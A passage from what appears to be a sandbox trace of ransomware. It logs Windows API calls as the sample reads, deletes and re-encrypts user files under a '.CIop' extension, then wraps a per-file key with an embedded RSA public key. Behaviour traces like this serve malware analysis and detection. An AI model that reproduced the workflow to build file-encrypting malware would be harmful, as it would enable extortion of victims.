lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0107.224] SetErrorMode (uMode=0x1) returned 0x1 [0107.224] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\hGqTnSOKZQ5a1.ods") returned 76 [0107.224] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\hGqTnSOKZQ5a1.ods", dwFileAttributes=0x20) returned 1 [0107.224] StrStrW (lpFirst="hGqTnSOKZQ5a1.ods", lpSrch=".CIop") returned 0x0 [0107.224] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\hGqTnSOKZQ5a1.ods.CIop") returned 81 [0107.224] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\hGqTnSOKZQ5a1.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\hgqtnsokzq5a1.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c [0107.225] ReadFile (in: hFile=0x69c, lpBuffer=0x656668, nNumberOfBytesToRead=0xc386, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x326e5e8*=0xc386, lpOverlapped=0x0) returned 1 [0107.225] CloseHandle (hObject=0x69c) returned 1 [0107.225] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\hGqTnSOKZQ5a1.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\hgqtnsokzq5a1.ods")) returned 1 [0107.238] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.238] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.239] SetErrorMode (uMode=0x1) returned 0x1 [0107.239] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x67c120) returned 1 [0107.241] CryptGenKey (in: hProv=0x67c120, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x67e1f8) returned 1 [0107.285] CryptExportKey (in: hKey=0x67e1f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0107.285] CryptExportKey (in: hKey=0x67e1f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0107.285] CryptDestroyKey (hKey=0x67e1f8) returned 1 [0107.285] CryptReleaseContext (hProv=0x67c120, dwFlags=0x0) returned 1 [0107.285] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\hGqTnSOKZQ5a1.ods.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\hgqtnsokzq5a1.ods.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c [0107.286] WriteFile (in: hFile=0x68c, lpBuffer=0x656668*, nNumberOfBytesToWrite=0xc386, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x326e5d8*=0xc386, lpOverlapped=0x0) returned 1 [0107.287] SetFilePointer (in: hFile=0x68c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc386 [0107.287] WriteFile (in: hFile=0x68c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.287] SetFilePointer (in: hFile=0x68c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc38d [0107.287] SetErrorMode (uMode=0x1) returned 0x1 [0107.287] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.287] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.287] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0107.287] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x67c120) returned 1 [0107.287] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67c120, dwCertEncodingType=0x1, pInfo=0x692a48, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e1b8) returned 1 [0107.287] CryptEncrypt (in: hKey=0x67e1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0107.288] CryptEncrypt (in: hKey=0x67e1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b680*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b680*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0107.288] WriteFile (in: hFile=0x68c, lpBuffer=0x67b680*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b680*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.288] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.288] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.288] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.288] CloseHandle (hObject=0x68c) returned 1 [0107.289] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\hGqTnSOKZQ5a1.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\hgqtnsokzq5a1.ods")) returned 0 Thread: id = 225 os_tid = 0xe78 [0107.299] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.299] lstrcpyW (in: lpString1=0x312f368, lpString2="eztfYAzpK0.mkv" | out: lpString1="eztfYAzpK0.mkv") returned="eztfYAzpK0.mkv" [0107.299] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.299] SetErrorMode (uMode=0x1) returned 0x1 [0107.299] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\eztfYAzpK0.mkv") returned 52 [0107.300] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\eztfYAzpK0.mkv", dwFileAttributes=0x20) returned 1 [0107.300] StrStrW (lpFirst="eztfYAzpK0.mkv", lpSrch=".CIop") returned 0x0 [0107.300] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\eztfYAzpK0.mkv.CIop") returned 57 [0107.300] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\eztfYAzpK0.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\eztfyazpk0.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0107.300] ReadFile (in: hFile=0x5c0, lpBuffer=0x656668, nNumberOfBytesToRead=0xb362, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x312e5e8*=0xb362, lpOverlapped=0x0) returned 1 [0107.301] CloseHandle (hObject=0x5c0) returned 1 [0107.301] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\eztfYAzpK0.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\eztfyazpk0.mkv")) returned 1 [0107.314] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0107.314] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0107.314] SetErrorMode (uMode=0x1) returned 0x1 [0107.314] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x67ba38) returned 1 [0107.316] CryptGenKey (in: hProv=0x67ba38, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67dbf8) returned 1 [0107.357] CryptExportKey (in: hKey=0x67dbf8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.357] CryptExportKey (in: hKey=0x67dbf8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0107.357] CryptDestroyKey (hKey=0x67dbf8) returned 1 [0107.357] CryptReleaseContext (hProv=0x67ba38, dwFlags=0x0) returned 1 [0107.358] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\eztfYAzpK0.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\eztfyazpk0.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0107.358] WriteFile (in: hFile=0x6bc, lpBuffer=0x656668*, nNumberOfBytesToWrite=0xb362, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x312e5d8*=0xb362, lpOverlapped=0x0) returned 1 [0107.359] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb362 [0107.359] WriteFile (in: hFile=0x6bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.359] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb369 [0107.359] SetErrorMode (uMode=0x1) returned 0x1 [0107.359] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.359] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.359] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0107.359] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x67c230) returned 1 [0107.360] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67c230, dwCertEncodingType=0x1, pInfo=0x688ec8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67df38) returned 1 [0107.360] CryptEncrypt (in: hKey=0x67df38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0107.360] CryptEncrypt (in: hKey=0x67df38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67ba38*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67ba38*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0107.360] WriteFile (in: hFile=0x6bc, lpBuffer=0x67ba38*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67ba38*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.360] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.360] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.360] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.360] CloseHandle (hObject=0x6bc) returned 1 [0107.362] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\eztfYAzpK0.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\eztfyazpk0.mkv")) returned 0 Thread: id = 226 os_tid = 0xe18 [0107.326] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.326] lstrcpyW (in: lpString1=0x347f368, lpString2="Q07hPTbYaA2sSmp7JYW8.swf" | out: lpString1="Q07hPTbYaA2sSmp7JYW8.swf") returned="Q07hPTbYaA2sSmp7JYW8.swf" [0107.326] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.326] SetErrorMode (uMode=0x1) returned 0x1 [0107.326] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\Q07hPTbYaA2sSmp7JYW8.swf") returned 62 [0107.326] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\Q07hPTbYaA2sSmp7JYW8.swf", dwFileAttributes=0x20) returned 1 [0107.326] StrStrW (lpFirst="Q07hPTbYaA2sSmp7JYW8.swf", lpSrch=".CIop") returned 0x0 [0107.326] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\Q07hPTbYaA2sSmp7JYW8.swf.CIop") returned 67 [0107.326] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\Q07hPTbYaA2sSmp7JYW8.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\q07hptbyaa2ssmp7jyw8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0107.327] ReadFile (in: hFile=0x688, lpBuffer=0x6619d8, nNumberOfBytesToRead=0xef1b, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6619d8*, lpNumberOfBytesRead=0x347e5e8*=0xef1b, lpOverlapped=0x0) returned 1 [0107.328] CloseHandle (hObject=0x688) returned 1 [0107.328] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\Q07hPTbYaA2sSmp7JYW8.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\q07hptbyaa2ssmp7jyw8.swf")) returned 1 [0107.329] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0107.329] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3130000 [0107.329] SetErrorMode (uMode=0x1) returned 0x1 [0107.330] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x67b818) returned 1 [0107.332] CryptGenKey (in: hProv=0x67b818, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67e238) returned 1 [0107.491] CryptExportKey (in: hKey=0x67e238, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0107.491] CryptExportKey (in: hKey=0x67e238, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3130000, pdwDataLen=0x347e5ec | out: pbData=0x3130000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0107.491] CryptDestroyKey (hKey=0x67e238) returned 1 [0107.491] CryptReleaseContext (hProv=0x67b818, dwFlags=0x0) returned 1 [0107.491] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\Q07hPTbYaA2sSmp7JYW8.swf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\q07hptbyaa2ssmp7jyw8.swf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0107.492] WriteFile (in: hFile=0x6c0, lpBuffer=0x6619d8*, nNumberOfBytesToWrite=0xef1b, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6619d8*, lpNumberOfBytesWritten=0x347e5d8*=0xef1b, lpOverlapped=0x0) returned 1 [0107.493] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xef1b [0107.493] WriteFile (in: hFile=0x6c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0107.493] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xef22 [0107.493] SetErrorMode (uMode=0x1) returned 0x1 [0107.493] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0107.493] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0107.493] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0107.493] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x67bac0) returned 1 [0107.494] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67bac0, dwCertEncodingType=0x1, pInfo=0x688918, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e238) returned 1 [0107.494] CryptEncrypt (in: hKey=0x67e238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0107.494] CryptEncrypt (in: hKey=0x67e238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b240*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b240*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0107.494] WriteFile (in: hFile=0x6c0, lpBuffer=0x67b240*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b240*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0107.494] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.495] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.495] VirtualFree (lpAddress=0x3130000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.495] CloseHandle (hObject=0x6c0) returned 1 [0107.523] 